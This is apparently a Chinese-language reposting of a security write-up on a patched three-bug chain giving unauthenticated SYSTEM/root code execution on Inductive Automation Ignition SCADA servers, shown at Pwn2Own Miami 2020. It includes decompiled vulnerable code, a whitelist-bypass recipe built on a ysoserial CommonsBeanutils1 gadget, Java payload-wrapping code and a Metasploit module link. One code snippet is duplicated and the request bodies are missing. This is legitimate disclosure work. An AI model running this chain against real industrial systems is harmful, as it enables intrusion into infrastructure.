2020年1月,在S4會議上舉行了首屆Pwn2Own Miami比賽,目標是工業控制系統(ICS)產品。在比賽中,佩德羅·裡貝羅(Pedro Ribeiro)和拉德克·多曼斯基(Radek Domanski)的團隊使用了資訊洩漏和反序列化漏洞,以在Inductive Automation Ignition 系統上執行程式碼。他們在比賽第一天贏得了25,000美元。現在可以從供應商處獲得補丁程式,他們已經分享了以下漏洞利用程式碼和演示影片。
這篇文章描述了Pedro Ribeiro(@ pedrib1337)和Radek Domanski(@RabbitPro)發現的一系列Java漏洞。這些漏洞已在一月份在ZDI的Pwn2Own Miami 2020比賽中使用。所描述的漏洞存在於8.0.0版(含8.0.7)及更高版本的Inductive Automation Ignition SCADA產品中。該漏洞最近由供應商釋出了補丁,該供應商建議使用者升級到8.0.10版本。以下是這些漏洞的驗證影片:
https://youtu.be/CuOancRm1fg
Automation Ignition 的預設配置可供未經身份驗證的攻擊者利用,成功的利用將實現Windows上的SYSTEM或Linux上的root的遠端程式碼執行。
該漏洞利用鏈上的三個漏洞來實現程式碼執行:
1.未經授權訪問敏感資源。2.不安全的Java反序列化。3.使用不安全的Java庫。
該部落格中的所有程式碼段都是透過反編譯8.0.7版中的JAR檔案獲得的。
0x01 漏洞詳情
在深入研究漏洞之前,讓我們介紹一下有關Automation Ignition 和/system/gateway端點的背景資訊。Automation Ignition 偵聽大量的TCP和UDP埠,因為除了其主要功能外,它還必須處理多種SCADA協議。
主要埠是TCP 8088和TCP / TLS 8043,它們用於透過HTTP(S)控制管理伺服器並處理各種Ignition元件之間的通訊。
有多個API端點正在偵聽該埠,但我們關注的是在/system/gateway。該API端點允許使用者執行遠端功能呼叫。未經身份驗證的使用者只能呼叫少數幾個。該Login.designer()函式是其中之一。它使用包含序列化Java物件的XML與客戶端進行通訊。它的程式碼位於com.inductiveautomation.ignition.gateway.servlets.Gateway類中。
通常,使用序列化的Java物件執行客戶端-伺服器通訊可以導致直接執行程式碼,但是在這種情況下,並不是那麼簡單。在深入探討之前,讓我們看一下Login.designer()請求的資料資訊:
響應包:
請求和響應包含序列化的Java物件,這些物件傳遞給可以遠端呼叫的函式。上面的示例顯示了對帶有四個引數designer()的com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login類的函式的呼叫。
呼叫堆疊Login.designer()如下:
com.inductiveautomation.ignition.gateway.servlets.Gateway.doPost()`
`com.inductiveautomation.ignition.gateway.servlets.gateway.AbstractGatewayFunction.invoke()`
`com.inductiveautomation.ignition.gateway.servlets.gateway.functions.Login.designer()
該Gateway.doPost()服務程式執行一些版本和完整性檢查然後將請求傳送到AbstractGatewayFunction.invoke(),其分析和驗證它之前呼叫Login.designer(),如下圖所示:
public final void invoke(GatewayContext context, PrintWriter out, ClientReqSession session, String projectName, Message msg) {
String funcName = msg.getArg("subFunction");
AbstractGatewayFunction.SubFunction function = null;
if (TypeUtilities.isNullOrEmpty(funcName)) {
function = this.defaultFunction;
} else {
function = (AbstractGatewayFunction.SubFunction)this.functions.get(funcName);
}
if (function == null) {
Gateway.printError(out, 500, "Unable to locate function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else if (function.reflectionErrorMessage != null) {
Gateway.printError(out, 500, "Error loading function '" + this.getFunctionName(funcName) + "'", (Throwable)null);
} else {
Set classWhitelist = null;
int i;
Class argType;
if (!this.isSessionRequired()) {
classWhitelist = Sets.newHashSet(SaferObjectInputStream.DEFAULT_WHITELIST);
Class[] var9 = function.params;
int var10 = var9.length;
for(i = 0; i < var10; ++i) {
argType = var9[i];
classWhitelist.add(argType);
}
if (function.retType != null) {
classWhitelist.add(function.retType);
}
}
List argList = msg.getIndexedArg("arg");
Object[] args;
if (argList != null && argList.size() != 0) {
args = new Object[argList.size()];
for(i = 0; i < argList.size(); ++i) {
if (argList.get(i) == null) {
args[i] = null;
} else {
try {
args[i] = Base64.decodeToObjectFragile((String)argList.get(i), classWhitelist);
} catch (ClassNotFoundException | IOException var15) {
ClassNotFoundException cnfe = null;
if (var15.getCause() instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15.getCause();
} else if (var15 instanceof ClassNotFoundException) {
cnfe = (ClassNotFoundException)var15;
}
if (cnfe != null) {
Gateway.printError(out, 500, this.getFunctionName(funcName) + ": Argument class not valid.", cnfe);
} else {
Gateway.printError(out, 500, "Unable to read argument", var15);
}
return;
}
}
}
} else {
args = new Object[0];
}
if (args.length != function.params.length) {
String var10002 = this.getFunctionName(funcName);
Gateway.printError(out, 202, "Function '" + var10002 + "' requires " + function.params.length + " arguments, got " + args.length, (Throwable)null);
} else {
for(i = 0; i < args.length; ++i) {
argType = function.params[i];
if (args[i] != null) {
try {
args[i] = TypeUtilities.coerce(args[i], argType);
} catch (ClassCastException var14) {
Gateway.printError(out, 202, "Function '" + this.getFunctionName(funcName) + "' argument " + (i + 1) + " could not be coerced to a " + argType.getSimpleName(), var14);
return;
}
}
}
try {
Object[] fullArgs = new Object[args.length + 3];
fullArgs[0] = context;
fullArgs[1] = session;
fullArgs[2] = projectName;
System.arraycopy(args, 0, fullArgs, 3, args.length);
if (function.isAsync) {
String uid = context.getProgressManager().runAsyncTask(session.getId(), new MethodInvokeRunnable(this, function.method, fullArgs));
Gateway.printAsyncCallResponse(out, uid);
return;
}
Object obj = function.method.invoke(this, fullArgs);
if (obj instanceof Dataset) {
Gateway.datasetToXML(out, (Dataset)obj);
out.println("0");
} else {
Serializable retVal = (Serializable)obj;
Gateway.printSerializedResponse(out, retVal);
}
} catch (Throwable var16) {
Throwable ex = var16;
Throwable cause = var16.getCause();
if (var16 instanceof InvocationTargetException && cause != null) {
ex = cause;
}
int errNo = 500;
if (ex instanceof GatewayFunctionException) {
errNo = ((GatewayFunctionException)ex).getErrorCode();
}
LoggerFactory.getLogger("gateway.clientrpc.functions").debug("Function invocation exception.", ex);
Gateway.printError(out, errNo, ex.getMessage() == null ? "Error executing gateway function." : ex.getMessage(), ex);
}
}
}
}
此函式執行以下操作:
1-解析收到的訊息。2-標識要呼叫的函式。3-檢查函式引數以確定是否可以安全地反序列化。4-確保引數數量與目標函式的預期數量相對應。5-呼叫帶有反序列化引數的函式。6-將響應傳送回客戶端。
在反序列化之前,請檢查引數以確保它們包含“安全”物件。這是透過decodeToObjectFragile()從呼叫com.inductiveautomation.ignition.common.Base64來完成的。此函式有兩個引數:帶有Base64編碼物件的String和可以反序列化的允許的類列表。
public static Object decodeToObjectFragile(String encodedObject, Set classWhitelist) throws ClassNotFoundException, IOException {
byte[] objBytes = decode(encodedObject, 2);
ByteArrayInputStream bais = null;
ObjectInputStream ois = null;
Object obj = null;
try {
bais = new ByteArrayInputStream(objBytes);
if (classWhitelist != null) {
ois = new SaferObjectInputStream(bais, classWhitelist);
} else {
ois = new ObjectInputStream(bais);
}
obj = ((ObjectInputStream)ois).readObject();
} finally {
try {
bais.close();
} catch (Exception var15) {
}
try {
((ObjectInputStream)ois).close();
} catch (Exception var14) {
}
}
return obj;
}
如上所示,如果decodeToObjectFragile()接收null而不是允許的類列表,它將使用 ObjectInputStream來反序列化物件,並帶來所有的問題和不安全性。但是,如果指定了允許列表,則decodeToObjectFragile使用SaferObjectInputStream該類反序列化物件。
SaferObjectInputStream類是一個包裝ObjectInputStream被反序列的類的每個物件。如果該類不是允許列表的一部分,則它會拒絕所有輸入並在發生任何有害影響之前終止處理。如下所示:
public class SaferObjectInputStream extends ObjectInputStream {
public static final Set DEFAULT_WHITELIST = ImmutableSet.of(String.class, Byte.class, Short.class, Integer.class, Long.class, Number.class, new Class[]{Float.class, Double.class, Boolean.class, Date.class, Color.class, ArrayList.class, HashMap.class, Enum.class});
private final Set whitelist;
public SaferObjectInputStream(InputStream in) throws IOException {
this(in, DEFAULT_WHITELIST);
}
public SaferObjectInputStream(InputStream in, Set whitelist) throws IOException {
super(in);
this.whitelist = new HashSet();
Iterator var3 = whitelist.iterator();
while(var3.hasNext()) {
Class c = (Class)var3.next();
this.whitelist.add(c.getName());
}
}
protected ObjectStreamClass readClassDescriptor() throws IOException, ClassNotFoundException {
ObjectStreamClass ret = super.readClassDescriptor();
if (!this.whitelist.contains(ret.getName())) {
throw new ClassNotFoundException(String.format("Unexpected class %s encountered on input stream.", ret.getName()));
} else {
return ret;
}
}
}
從上面的程式碼段可以看出,預設的允許列表(DEFAULT_WHITELIST)非常嚴格。它僅允許反序列化以下物件型別:
-- String
-- Byte
-- Short
-- Integer
-- Long
-- Number
-- Float
-- Double
-- Boolean
-- Date
-- Color
-- ArrayList
-- HashMap
-- Enum
由於這些都是非常簡單的型別,因此這裡描述的機制是阻止大多數Java反序列化攻擊的有效方法。
不能解釋Java反序列化,其發生的方式以及可能造成的破壞性。如果你有興趣閱讀更多有關它的內容,請檢視Java Unmarshaller Security或此Foxglove Security文章。現在,讓我們進入在Pwn2Own使用的漏洞利用鏈。
https://github.com/mbechler/marshalsec
https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
漏洞1:未經授權訪問敏感資源
該鏈中的第一個漏洞是資訊洩漏,但未在我們的利用中使用。未經身份驗證的攻擊者可以呼叫“project diff”函式來獲取有關project的關鍵資訊。在我們的案例中,我們將其用作攻擊其他函式的跳板。
com.inductiveautomation.ignition.gateway.servlets.gateway.functions.ProjectDownload類包含許多是透過未經身份驗證的遠端攻擊者可訪問操作。其中之一是getDiffs(),如下所示:
@GatewayFunction
public String getDiffs(GatewayContext context, HttpSession session, String sessionProject, String projectSnapshotsBase64) throws GatewayFunctionException {
try {
List snapshots = (List)Base64.decodeToObjectFragile(projectSnapshotsBase64);
RuntimeProject p = ((RuntimeProject)context.getProjectManager().getProject(sessionProject).orElseThrow(() -> new ProjectNotFoundException(sessionProject))).validateOrThrow();
List diffs = context.getProjectManager().pull(snapshots);
return (diffs == null) ? null : Base64.encodeObject(Lists.newArrayList(diffs));
} catch (Exception e) {
throw new GatewayFunctionException(500, "Unable to load project diff.", e);
}
}
如上所示,此函式將提供的資料與伺服器中的專案資料進行比較,並返回差異。如果攻擊者提供了有效的project名稱,則可能會誘騙伺服器移交所有project資料。
同樣,此函式未在漏洞利用程式中使用。而是將此函式用作進一步攻擊系統的跳板,下面將對此進行進一步說明。
漏洞2:不安全的Java反序列化
從程式碼片段6中可以看出,ProjectDownload.getDiffs()使用Base64.decodeToObjectFragile()函式來解碼project資料。片段4中已經解釋了此函式。如上所述,如果該函式的第二個引數中沒有提供類允許列表,則它將使用標準的不安全ObjectInputStream類來解碼給定物件。這導致了一個經典的Java反序列化漏洞,當與最終漏洞連結時,最終會導致遠端執行程式碼。
漏洞3:使用不安全的Java庫
該鏈中的最後一個連結是將Java類與易受攻擊的Java gadget物件一起濫用,這些物件可用於實現遠端程式碼執行。對我們來說幸運的是,Automation Ignition 就是這樣。它使用了非常老的Apache Commons Beanutils版本1.9.2,該版本來自2013。
在著名的ysererial Java反序列化開發工具,此庫有一個payload。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java
0x02 漏洞利用開發
總而言之,要實現遠端程式碼執行,我們需要執行以下操作:
1-建立一個ysoserial CommonsBeanutils1 payload。2-Base64編碼payload。3-將payload封裝在Java String物件中。4-使用標準Java序列化功能序列化String物件。5-Base64編碼序列化的String物件。6-傳送請求getDiffs()以呼叫/system/gateway惡意引數。
我們能夠繞過序列化白名單並執行我們的程式碼!但是如何繞過?讓我們深入研究。
我們的payload將具有以下格式:
base64(String(base64(YSOSERIAL_PAYLOAD))
片段3中顯示的程式碼將對其執行Base64解碼,這將導致:
String(base64(YSOSERIAL_PAYLOAD))
這是根據上一節中顯示的白名單進行檢查的,因為它是String類,所以可以反序列化。然後我們進入ProjectDownload.getDiffs()。它使用我們的String引數,Base64.decodeToObjectFragile()在不指定白名單的情況下對其進行呼叫。
如程式碼片段4所示,這將使Base64解碼String,然後ObjectInputStream.readObject()在我們的惡意物件(YSOSERIAL_PAYLOAD)上呼叫,從而導致程式碼執行!
生成 payload
要建立payload,我們首先呼叫ysoserial,如下所示:
public static void main(String[] args) {
try {
String payload = "";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
然後,可以使用以下Java程式碼將payload封裝在String中並將其序列化到磁碟:
public static void main(String[] args) {
try {
String payload = "";
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(bos);
objectOutputStream.writeObject(payload);
objectOutputStream.close();
byte[] encodedBytes = Base64.getEncoder().encode(bos.toByteArray());
FileOutputStream fos = new FileOutputStream("/tmp/output");
fos.write(encodedBytes);
fos.close();
bos.close();
} catch (Exception e) {
e.printStackTrace();
}
}
在此程式碼中,< YSOSERIAL_BASE64_PAYLOAD >應包含Snippet 7的輸出。
最後,我們將以下請求傳送到目標:
該< PAYLOAD >會包含執行的輸出片段8。目標將響應:
響應包含一個堆疊跟蹤,指示出了問題,但是palaod已作為SYSTEM(或Linux的根)執行。
使用Snippet 7中提供的payload後,檔案C:\flashback.txt中將顯示文字nt authority\system。這表明我們已經實現了未經身份驗證的遠端程式碼執行。
0x03 分析總結
我們希望你喜歡我們在Pwn2Own Miami使用的漏洞利用。廠商在8.0.10版本中修復了這些漏洞。此版本包含許多其他修復程式以及新功能。如果你想測試自己的系統,為方便起見,我們釋出了Metasploit模組。你可以在上面的影片中看到它的測試情況.
https://raw.githubusercontent.com/thezdi/PoC/master/ZDI-20-685/ignition_automation_rce.rb
參考及來源:https://www.zerodayinitiative.com/blog/2020/6/10/a-trio-of-bugs-used-to-exploit-inductive-automation-at-pwn2own-miami
【來源:嘶吼RoarTalk】
宣告:轉載此文是出於傳遞更多資訊之目的。若有來源標註錯誤或侵犯了您的合法權益,請作者持權屬證明與本網聯絡,我們將及時更正、刪除,謝謝。 郵箱地址:[email protected]